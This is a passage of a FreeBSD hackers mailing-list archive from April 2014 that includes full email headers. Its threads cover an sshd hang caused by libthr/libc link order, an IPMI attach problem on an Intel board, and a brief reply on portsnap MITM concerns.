TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C1F01284; Fri, 11 Apr 2014 15:38:19 +0000 (UTC) Received: from mail-wg0-x22e.google.com (mail-wg0-x22e.google.com [IPv6:2a00:1450:400c:c00::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id E153618C8; Fri, 11 Apr 2014 15:38:18 +0000 (UTC) Received: by mail-wg0-f46.google.com with SMTP id b13so5605091wgh.29 for ; Fri, 11 Apr 2014 08:38:11 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:date:message-id :subject:from:to:cc:content-type; bh=jzcBPcp5LgSZTr6l+kUcUEE65X9/waYBS8/KjcsBhws=; b=Tca/DLwa24aKdOiNt+BmpoK3AE7OTTLhcclEmdAGYUipE16fj0gAoQvfMsqgr1Lxbl /qjiuMBF5Em7hO7V2ANhb+SYs0vOpPQ/ju2Xv0fr671zL/eKQvHXqTrnuMYSHVxXvAlS abfXKUkj7ZFGYcQ6GY7kTJj3nnusLz9pNP1XC0xp+xgCfGBBLpiJBKSNiuUXJR6D3Y3B /T0svjQp4LEEeEjQifPbZ+7B2LhOCmL/x25570EcWbRhDw//dIqBCCHC83sOSAy0L9Xo hiU97JNx0l7N4oEaRLWixNLpTO2HO1RM3m08q7ABXu4MZcyTEGnSCyXId3iYiFjQChxR JkqA== MIME-Version: 1.0 X-Received: by 10.180.211.239 with SMTP id nf15mr4040720wic.9.1397230691461; Fri, 11 Apr 2014 08:38:11 -0700 (PDT) Received: by 10.217.55.138 with HTTP; Fri, 11 Apr 2014 08:38:11 -0700 (PDT) In-Reply-To: References: <20140411094620.78881cjb990bw8gc@webmail.ru.ac.za> <7a39fee1d8baee8029d01a13bcc4cce8.authenticated@ultimatedns.net> Date: Fri, 11 Apr 2014 10:38:11 -0500 Message-ID: Subject: Re: MITM attacks against portsnap and freebsd-update From: David Noel To: Chris H Content-Type: text/plain; charset=ISO-8859-1 Cc: freebsd-hackers , J.McKeown@ru.ac.za, secteam , FreeBSD Questions Mailing List , Colin Percival X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: David.I.Noel@gmail.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 15:38:19 -0000 > I should have said "phased out" instead of "retired". Even if it was retired immediately users could still stay on whatever release they were on; they'd only have to install subversion. From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 16:06:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8F7EA29E; Fri, 11 Apr 2014 16:06:33 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 162151C28; Fri, 11 Apr 2014 16:06:32 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s3BG6S2O095805; Fri, 11 Apr 2014 19:06:28 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s3BG6S2O095805 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s3BG6SbD095804; Fri, 11 Apr 2014 19:06:28 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Fri, 11 Apr 2014 19:06:28 +0300 From: Konstantin Belousov To: Karl Pielorz Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <20140411160628.GV21331@kib.kiev.ua> References: <20140409084951.GE21331@kib.kiev.ua> <2A722BB3B12E0D80CA9FF075@Mail-PC.tdx.co.uk> <20140409111917.GH21331@kib.kiev.ua> <851413886E3982D2CCFEA9D9@Mail-PC.tdx.co.uk> <20140410184855.GP21331@kib.kiev.ua> <211BD03C086DDB1A07FDF036@Mail-PC.tdx.co.uk> <20140411131649.GR21331@kib.kiev.ua> <652B8CA4866C0B9E4650430B@Mail-PC.tdx.co.uk> <20140411141526.GT21331@kib.kiev.ua> <464979E8F6FCBD7EA7DAA38B@Mail-PC.tdx.co.uk> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="kq9thXEmR7mnrMfl" Content-Disposition: inline In-Reply-To: <464979E8F6FCBD7EA7DAA38B@Mail-PC.tdx.co.uk> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 16:06:33 -0000 --kq9thXEmR7mnrMfl Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Apr 11, 2014 at 03:57:00PM +0100, Karl Pielorz wrote: >=20 >=20 > --On 11 April 2014 17:15 +0300 Konstantin Belousov = =20 > wrote: >=20 > > So my suspicious idea seems to be true. From the ldd output, libc > > appears before libthr in the global order, so libc sigaction() symbol > > is resolved before libthr interposer. The result is that libthr wrapper > > thr_sighandler() for the signal handlers is not installed as the > > recepient of the kernel signal, which prevents libthr locks for rtld > > from working properly. >=20 > Ok, I can just about follow that ;) >=20 > > To confirm or deny my theory, please apply the patch below, in addition= to > > the previous patch, and rebuild sshd only, > ># cd src/secure/usr.sbin/sshd && make clean all install > > The patch tilts the order of initialization, for my build I got > > sandy% ldd /usr/sbin/sshd > > ... > > libz.so.6 =3D> /lib/libz.so.6 (0x802f0d000) > > libthr.so.3 =3D> /lib/libthr.so.3 (0x803123000) > > libc.so.7 =3D> /lib/libc.so.7 (0x803348000) > > libldns.so.5 =3D> /usr/lib/private/libldns.so.5 (0x8036d1000) > > libmd.so.6 =3D> /lib/libmd.so.6 (0x803926000) > > which could be enough to prevent the bug. > > > > Please retest and report. >=20 > Ok, patched the makefile - rebuilt / installed sshd restarted (which has= =20 > the same initialisation order as yours above), it and ran the security sc= an=20 > against it. >=20 > *This does indeed seem to fix the problem* >=20 > The scan completes, and there are no stuck 'urdlck' sshd's - and no socke= t=20 > sitting around in CLOSE_WAIT or CLOSED - thanks! :) >=20 > I re-ran the scan a couple of times more to be sure, with the same result= -=20 > no zombies or anything. Great. >=20 > Is this situation likely to be repeated anywhere else on the system? Or i= s=20 > it likely just to be specific to sshd? Well. The issue with libthr so relying on interposition of libc has already bitten us more than once. The biggest practical consequence of it is that libthr cannot be dynamically loaded, it must be linked to the main binary for the whole construct to work. This means that any program big enough to load plugins at runtime must link to libthr if it might need to load plugin linked to libthr. Recently, perl and other programs from ports started doing just that. But this is first time I see interposing so broken due to wrong linking order, esp. in the base system. The correct solution is to merge libthr into libc. Some neccessary preparations were already done, but the main work did not started yet. This is huge efforts, and it probably should be coordinated with some other ABI changes planed for libthr to support process-shared locks. Anyway, for now, this patch, possibly enhanced to only link with libpthread when kerberos is used, should be good enough. --kq9thXEmR7mnrMfl Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTSBMDAAoJEJDCuSvBvK1BJw0P/A33MI9h6tlXhx6VxtKgxEpS v4P5WGQ1wyih8Rv/AVVaJFm5N9rMEf3R3KlUFgI3GcFmWVME6kHh94H6I3BjM14i YNaegwtfawgmlvenCFjXXbWCBr0lXWeY2OXusjECIzIhR42ZnJDNW0s3TRE8Z+1/ ZzLHyowCAAPm/7ANOLMQJmO50E/R7DEHXX85jqRIJWQTLjCOiqK+0okRKfm1X0cl anXYUUl8CPXiFiBgKypFyltyN8uScRH33QrqxiuKxj8r7nsqoOxLTmPOokRysYWG N8WcIBNjxmkM3PtBAYRZHX8kUPYa3a70I0pnbzezqRsZ1oE/jaWckoMdvVWgWsFr uMS+TXHEH8Aon+HDoMal7JuFC6sCyFUz8sOhNlnh2VH9A4FzVcMe/jFYkrwa2WAm SbqAGCNbz6UlHazdJzKDv9YFO4EC1LvwDplvy0MkBO341Lwv3l0eTWZ9WvF/3yBK OawsV88EYBwJpYlQDil60YQQhtf+itA/Nc3KHHd8KrpRmfc/N99GebqmHMv3liYg JF2eJ1jOxM/zmlEP2E/k9lV4TM4qiXdLjOrVXKL7wWc19MbdGvUy39ML4kynpkKn EH4e1o7GFVfEgsXmuknbVmGlUASeOdkhN7d0llT6QOuRQpSNab5qIexQRUbSOh+o zZ/DzIZyeHW+p21X/zGa =6/OA -----END PGP SIGNATURE----- --kq9thXEmR7mnrMfl-- From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 16:09:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F26F25E9 for ; Fri, 11 Apr 2014 16:09:00 +0000 (UTC) Received: from mail.ignoranthack.me (ujvl.x.rootbsd.net [199.102.79.106]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id B5CC91C6F for ; Fri, 11 Apr 2014 16:09:00 +0000 (UTC) Received: from [10.73.160.242] (nat-dip7.cfw-a-gci.corp.yahoo.com [209.131.62.116]) (using SSLv3 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: sbruno@ignoranthack.me) by mail.ignoranthack.me (Postfix) with ESMTPSA id C8E201929A9; Fri, 11 Apr 2014 16:08:59 +0000 (UTC) Subject: Re: IPMI is broken on Intel S1200RP Board From: Sean Bruno To: venom In-Reply-To: References: <1397156847.1088.11.camel@powernoodle.corp.yahoo.com> Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-yWnMy2EcblYT1ugwatOX" Date: Fri, 11 Apr 2014 09:08:59 -0700 Message-ID: <1397232539.1434.6.camel@powernoodle.corp.yahoo.com> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: sbruno@freebsd.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 16:09:01 -0000 --=-yWnMy2EcblYT1ugwatOX Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable On Fri, 2014-04-11 at 07:47 +0400, venom wrote: > ppc1: cannot reserve I/O port range > pcib0: allocated type 4 (0x60-0x60) for rid 0 of atkbdc0 > pcib0: allocated type 4 (0x64-0x64) for rid 1 of atkbdc0 > atkbdc0: AT keyboard controller not found > pcib0: allocated type 4 (0x3f0-0x3f5) for rid 0 of fdc0 > pcib0: allocated type 4 (0x3f7-0x3f7) for rid 1 of fdc0 > ppc0: cannot reserve I/O port range > pci0: driver added > found-> vendor=3D0x8086, dev=3D0x8c22, revid=3D0x05 > domain=3D0, bus=3D0, slot=3D31, func=3D3 > class=3D0c-05-00, hdrtype=3D0x00, mfdev=3D0 > cmdreg=3D0x0143, statreg=3D0x0280, cachelnsz=3D0 (dwords) > lattimer=3D0x00 (0 ns), mingnt=3D0x00 (0 ns), maxlat=3D0x00 (0 ns) > intpin=3Dc, irq=3D18 > pci0:0:31:3: reprobing on driver added > found-> vendor=3D0x8086, dev=3D0x8c24, revid=3D0x05 > domain=3D0, bus=3D0, slot=3D31, func=3D6 > class=3D11-80-00, hdrtype=3D0x00, mfdev=3D0 > cmdreg=3D0x0006, statreg=3D0x0010, cachelnsz=3D0 (dwords) > lattimer=3D0x00 (0 ns), mingnt=3D0x00 (0 ns), maxlat=3D0x00 (0 ns) > intpin=3Dc, irq=3D18 > powerspec 3 supports D0 D3 current D0 > MSI supports 1 message > pci0:0:31:6: reprobing on driver added > pci1: driver added > pci2: driver added > pci0: driver added > found-> vendor=3D0x8086, dev=3D0x8c22, revid=3D0x05 > domain=3D0, bus=3D0, slot=3D31, func=3D3 > class=3D0c-05-00, hdrtype=3D0x00, mfdev=3D0 > cmdreg=3D0x0143, statreg=3D0x0280, cachelnsz=3D0 (dwords) > lattimer=3D0x00 (0 ns), mingnt=3D0x00 (0 ns), maxlat=3D0x00 (0 ns) > intpin=3Dc, irq=3D18 > pci0:0:31:3: reprobing on driver added > found-> vendor=3D0x8086, dev=3D0x8c24, revid=3D0x05 > domain=3D0, bus=3D0, slot=3D31, func=3D6 > class=3D11-80-00, hdrtype=3D0x00, mfdev=3D0 > cmdreg=3D0x0006, statreg=3D0x0010, cachelnsz=3D0 (dwords) > lattimer=3D0x00 (0 ns), mingnt=3D0x00 (0 ns), maxlat=3D0x00 (0 ns) > intpin=3Dc, irq=3D18 > powerspec 3 supports D0 D3 current D0 > MSI supports 1 message > pci0:0:31:6: reprobing on driver added > pci1: driver added > pci2: driver added >=20 I don't see an attach here, so I assume that something is "new" in the acpi tables on this board. Can you dump the ACPI table somewhere "acpidump -dt > intel_s1200rp.dsdt" and post it somewhere we can look at it? freebsd.org mailing lists will strip attachments in most cases, so a pastebin or other link would be best. sean --=-yWnMy2EcblYT1ugwatOX Content-Type: application/pgp-signature; name="signature.asc" Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEcBAABAgAGBQJTSBObAAoJEBkJRdwI6BaHyUIH/RcklJhVhdrcIay2MtlyV/10 OWmuoIThvZmH83hqL30m+koZ3IHvmRXsDbIbcZDokvYUK6g9cjIN4PX912vbzVH4 Q00vsR1XNAPjcSCTo2G8Nio2HgGchXbcB627Dp3vjTYXDMI2FnrTSS6hx9+0bpL0 CHLJbUsarQJXI5KA8ZjW7/e3mbs+KVs6bm4AozXYvLalwblF2ztJGRe5xsnK1h3U VWywfcRnxHrOCULN2dhQ4BQqCIudrLks6LhJfkRGrnLSs72INH6g68UPNxS794wK p7khHDXZyv+0SBsGVwmvug1Tk0WaKlcoNxCmV+fS0eQMfUvLITWfZktiYR/8YKg= =5J9B -----END PGP SIGNATURE----- --=-yWnMy2EcblYT1ugwatOX-- From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 16:31:46 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9B0991A1 for ; Fri, 11 Apr 2014 16:31:46 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 3D22A10EF for ; Fri, 11 Apr 2014 16:31:44 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s3BGZFV5097399; Fri, 11 Apr 2014 09:35:21 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s3BGZA11097396; Fri, 11 Apr 2014 09:35:10 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: from unavailable02.ultimatedns.net ([209.180.214.228]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Fri, 11 Apr 2014 09:35:10 -0700 (PDT) Message-ID: In-Reply-To: <20140411160628.GV21331@kib.kiev.ua> References: <20140409084951.GE21331@kib.kiev.ua> <2A722BB3B12E0D80CA9FF075@Mail-PC.tdx.co.uk> <20140409111917.GH21331@kib.kiev.ua> <851413886E3982D2CCFEA9D9@Mail-PC.tdx.co.uk> <20140410184855.GP21331@kib.kiev.ua> <211BD03C086DDB1A07FDF036@Mail-PC.tdx.co.uk> <20140411131649.GR21331@kib.kiev.ua> <652B8CA4866C0B9E4650430B@Mail-PC.tdx.co.uk> <20140411141526.GT21331@kib.kiev.ua> <464979E8F6FCBD7EA7DAA38B@Mail-PC.tdx.co.uk> <20140411160628.GV21331@kib.kiev.ua> Date: Fri, 11 Apr 2014 09:35:10 -0700 (PDT) Subject: Re: Stuck CLOSED sockets / sshd / zombies... From: "Chris H" To: "Konstantin Belousov" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: freebsd-hackers@freebsd.org, Karl Pielorz X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 16:31:46 -0000 > On Fri, Apr 11, 2014 at 03:57:00PM +0100, Karl Pielorz wrote: >> >> >> --On 11 April 2014 17:15 +0300 Konstantin Belousov >> wrote: >> >> > So my suspicious idea seems to be true. From the ldd output, libc >> > appears before libthr in the global order, so libc sigaction() symbol >> > is resolved before libthr interposer. The result is that libthr wrapper >> > thr_sighandler() for the signal handlers is not installed as the >> > recepient of the kernel signal, which prevents libthr locks for rtld >> > from working properly. >> >> Ok, I can just about follow that ;) >> >> > To confirm or deny my theory, please apply the patch below, in addition to >> > the previous patch, and rebuild sshd only, >> ># cd src/secure/usr.sbin/sshd && make clean all install >> > The patch tilts the order of initialization, for my build I got >> > sandy% ldd /usr/sbin/sshd >> > ... >> > libz.so.6 => /lib/libz.so.6 (0x802f0d000) >> > libthr.so.3 => /lib/libthr.so.3 (0x803123000) >> > libc.so.7 => /lib/libc.so.7 (0x803348000) >> > libldns.so.5 => /usr/lib/private/libldns.so.5 (0x8036d1000) >> > libmd.so.6 => /lib/libmd.so.6 (0x803926000) >> > which could be enough to prevent the bug. >> > >> > Please retest and report. >> >> Ok, patched the makefile - rebuilt / installed sshd restarted (which has >> the same initialisation order as yours above), it and ran the security scan >> against it. >> >> *This does indeed seem to fix the problem* >> >> The scan completes, and there are no stuck 'urdlck' sshd's - and no socket >> sitting around in CLOSE_WAIT or CLOSED - thanks! :) >> >> I re-ran the scan a couple of times more to be sure, with the same result - >> no zombies or anything. > Great. > >> >> Is this situation likely to be repeated anywhere else on the system? Or is >> it likely just to be specific to sshd? > Well. > > The issue with libthr so relying on interposition of libc has already bitten > us more than once. The biggest practical consequence of it is that libthr > cannot be dynamically loaded, it must be linked to the main binary for the > whole construct to work. This means that any program big enough to load > plugins at runtime must link to libthr if it might need to load plugin > linked to libthr. Recently, perl and other programs from ports started > doing just that. > > But this is first time I see interposing so broken due to wrong linking > order, esp. in the base system. > > The correct solution is to merge libthr into libc. Some neccessary > preparations were already done, but the main work did not started yet. > This is huge efforts, and it probably should be coordinated with some > other ABI changes planed for libthr to support process-shared locks. Sorry. Second time around. I used the wrong email address. :P This may be wishful thinking, or I might have even overlooked the obvious. Would it make any sense to create 2 versions of libthr, one with libc, and one without? At least that would overcome the /possible/ ordering issue associated with this sort of thing. Then it's simply a matter of choosing which one to load. --Chris > > Anyway, for now, this patch, possibly enhanced to only link with > libpthread when kerberos is used, should be good enough. > From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 16:28:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0712EFF2 for ; Fri, 11 Apr 2014 16:28:05 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 9D9261038 for ; Fri, 11 Apr 2014 16:28:04 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s3BGVYsq097064; Fri, 11 Apr 2014 09:31:40 -0700 (PDT) (envelope-from bsd-bugs@damnsmallbsd.org) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s3BGVSRj097058; Fri, 11 Apr 2014 09:31:28 -0700 (PDT) (envelope-from bsd-bugs@damnsmallbsd.org) Received: from unavailable02.ultimatedns.net ([209.180.214.228]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Fri, 11 Apr 2014 09:31:29 -0700 (PDT) Message-ID: <1aadc22a928fccbd9ce54d78b33ec26c.authenticated@ultimatedns.net> In-Reply-To: <20140411160628.GV21331@kib.kiev.ua> References: <20140409084951.GE21331@kib.kiev.ua> <2A722BB3B12E0D80CA9FF075@Mail-PC.tdx.co.uk> <20140409111917.GH21331@kib.kiev.ua> <851413886E3982D2CCFEA9D9@Mail-PC.tdx.co.uk> <20140410184855.GP21331@kib.kiev.ua> <211BD03C086DDB1A07FDF036@Mail-PC.tdx.co.uk> <20140411131649.GR21331@kib.kiev.ua> <652B8CA4866C0B9E4650430B@Mail-PC.tdx.co.uk> <20140411141526.GT21331@kib.kiev.ua> <464979E8F6FCBD7EA7DAA38B@Mail-PC.tdx.co.uk> <20140411160628.GV21331@kib.kiev.ua> Date: Fri, 11 Apr 2014 09:31:29 -0700 (PDT) Subject: Re: Stuck CLOSED sockets / sshd / zombies... From: "Chris" To: "Konstantin Belousov" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Mailman-Approved-At: Fri, 11 Apr 2014 16:44:24 +0000 Cc: freebsd-hackers@freebsd.org, Karl Pielorz X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 16:28:05 -0000 > On Fri, Apr 11, 2014 at 03:57:00PM +0100, Karl Pielorz wrote: >> >> >> --On 11 April 2014 17:15 +0300 Konstantin Belousov >> wrote: >> >> > So my suspicious idea seems to be true. From the ldd output, libc >> > appears before libthr in the global order, so libc sigaction() symbol >> > is resolved before libthr interposer. The result is that libthr wrapper >> > thr_sighandler() for the signal handlers is not installed as the >> > recepient of the kernel signal, which prevents libthr locks for rtld >> > from working properly. >> >> Ok, I can just about follow that ;) >> >> > To confirm or deny my theory, please apply the patch below, in addition to >> > the previous patch, and rebuild sshd only, >> ># cd src/secure/usr.sbin/sshd && make clean all install >> > The patch tilts the order of initialization, for my build I got >> > sandy% ldd /usr/sbin/sshd >> > ... >> > libz.so.6 => /lib/libz.so.6 (0x802f0d000) >> > libthr.so.3 => /lib/libthr.so.3 (0x803123000) >> > libc.so.7 => /lib/libc.so.7 (0x803348000) >> > libldns.so.5 => /usr/lib/private/libldns.so.5 (0x8036d1000) >> > libmd.so.6 => /lib/libmd.so.6 (0x803926000) >> > which could be enough to prevent the bug. >> > >> > Please retest and report. >> >> Ok, patched the makefile - rebuilt / installed sshd restarted (which has >> the same initialisation order as yours above), it and ran the security scan >> against it. >> >> *This does indeed seem to fix the problem* >> >> The scan completes, and there are no stuck 'urdlck' sshd's - and no socket >> sitting around in CLOSE_WAIT or CLOSED - thanks! :) >> >> I re-ran the scan a couple of times more to be sure, with the same result - >> no zombies or anything. > Great. > >> >> Is this situation likely to be repeated anywhere else on the system? Or is >> it likely just to be specific to sshd? > Well. > > The issue with libthr so relying on interposition of libc has already bitten > us more than once. The biggest practical consequence of it is that libthr > cannot be dynamically loaded, it must be linked to the main binary for the > whole construct to work. This means that any program big enough to load > plugins at runtime must link to libthr if it might need to load plugin > linked to libthr. Recently, perl and other programs from ports started > doing just that. > > But this is first time I see interposing so broken due to wrong linking > order, esp. in the base system. > > The correct solution is to merge libthr into libc. Some neccessary > preparations were already done, but the main work did not started yet. > This is huge efforts, and it probably should be coordinated with some > other ABI changes planed for libthr to support process-shared locks. > This may be wishful thinking, or I might have even overlooked the obvious. Would it make any sense to create 2 versions of libthr, one with libc, and one without? At least that would overcome the /possible/ ordering issue associated with this sort of thing. Then it's simply a matter of choosing which one to load. --Chris > Anyway, for now, this patch, possibly enhanced to only link with > libpthread when kerberos is used, should be good enough. > From owner-freebsd-hackers@FreeBSD.ORG Fri Apr 11 17:32:59 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2F0195FC for ; Fri, 11 Apr 2014 17:32:59 +0000 (UTC) Received: from mail.netplex.net (mail.netplex.net [204.213.176.9]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "*.netplex.net", Issuer "RapidSSL CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id DC3381774 for ; Fri, 11 Apr 2014 17:32:58 +0000 (UTC) Received: from sea.ntplx.net (sea.ntplx.net [204.213.176.11]) by mail.netplex.net (8.14.8/8.14.8/NETPLEX) with ESMTP id s3BHN0ZI008070; Fri, 11 Apr 2014 13:23:00 -0400 X-Virus-Scanned: by AMaViS and Clam AntiVirus (mail.netplex.net) X-Greylist: Message whitelisted by DRAC access database, not delayed by milter-greylist-4.4.3 (mail.netplex.net [204.213.176.9]); Fri, 11 Apr 2014 13:23:00 -0400 (EDT) Date: Fri, 11 Apr 2014 13:23:00 -0400 (EDT) From: Daniel Eischen X-X-Sender: eischen@sea.ntplx.net To: Konstantin Belousov Subject: Re: Stuck CLOSED sockets / sshd / zombies... In-Reply-To: <20140411160628.GV21331@kib.kiev.ua> Message-ID: References: <20140409084951.GE21331@kib.kiev.ua> <2A722BB3B12E0D80CA9FF075@Mail-PC.tdx.co.uk> <20140409111917.GH21331@kib.kiev.ua> <851413886E3982D2CCFEA9D9@Mail-PC.tdx.co.uk> <20140410184855.GP21331@kib.kiev.ua> <211BD03C086DDB1A07FDF036@Mail-PC.tdx.co.uk> <20140411131649.GR21331@kib.kiev.ua> <652B8CA4866C0B9E4650430B@Mail-PC.tdx.co.uk> <20140411141526.GT21331@kib.kiev.ua> <464979E8F6FCBD7EA7DAA38B@Mail-PC.tdx.co.uk> <20140411160628.GV21331@kib.kiev.ua> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-hackers@freebsd.org, Karl Pielorz X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: Daniel Eischen List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Apr 2014 17:32:59 -0000 On Fri, 11 Apr 2014, Konstantin Belousov wrote: > On Fri, Apr 11, 2014 at 03:57:00PM +0100, Karl Pielorz wrote: >> >> >> --On 11 April 2014 17:15 +0300 Konstantin Belousov >> wrote: >> >>> So my suspicious idea seems to be true. From the ldd output, libc >>> appears before libthr in the global order, so libc sigaction() symbol >>> is resolved before libthr interposer. The result is that libthr wrapper >>> thr_sighandler() for the signal handlers is not installed as the >>> recepient of the kernel signal, which prevents libthr locks for rtld >>> from working properly. >> >> Ok, I can just about follow that ;) >> >>> To confirm or deny my theory, please apply the patch below, in addition to >>> the previous patch, and rebuild sshd only, >>> # cd src/secure/usr.sbin/sshd && make clean all install >>> The patch tilts the order of initialization, for my build I got >>> sandy% ldd /usr/sbin/sshd >>> ... >>> libz.so.6 => /lib/libz.so.6 (0x802f0d000) >>> libthr.so.3 => /lib/libthr.so.3 (0x803123000) >>> libc.so.7 => /lib/libc.so.7 (0x803348000) >>> libldns.so.5 => /usr/lib/private/libldns.so.5 (0x8036d1000) >>> libmd.so.6 => /lib/libmd.so.6 (0x803926000) >>> which could be enough to prevent the bug. >>> >>> Please retest and report. >> >> Ok, patched the makefile - rebuilt / installed sshd restarted (which has >> the same initialisation order as yours above), it and ran the security scan >> against it. >> >> *This does indeed seem to fix the problem* >> >> The scan completes, and there are no stuck 'urdlck' sshd's - and no socket >> sitting around in CLOSE_WAIT or CLOSED - thanks! :) >> >> I re-ran the scan a couple of times more to be sure, with the same result - >> no zombies or anything. > Great. > >> >> Is this situation likely to be repeated anywhere else on the system? Or is 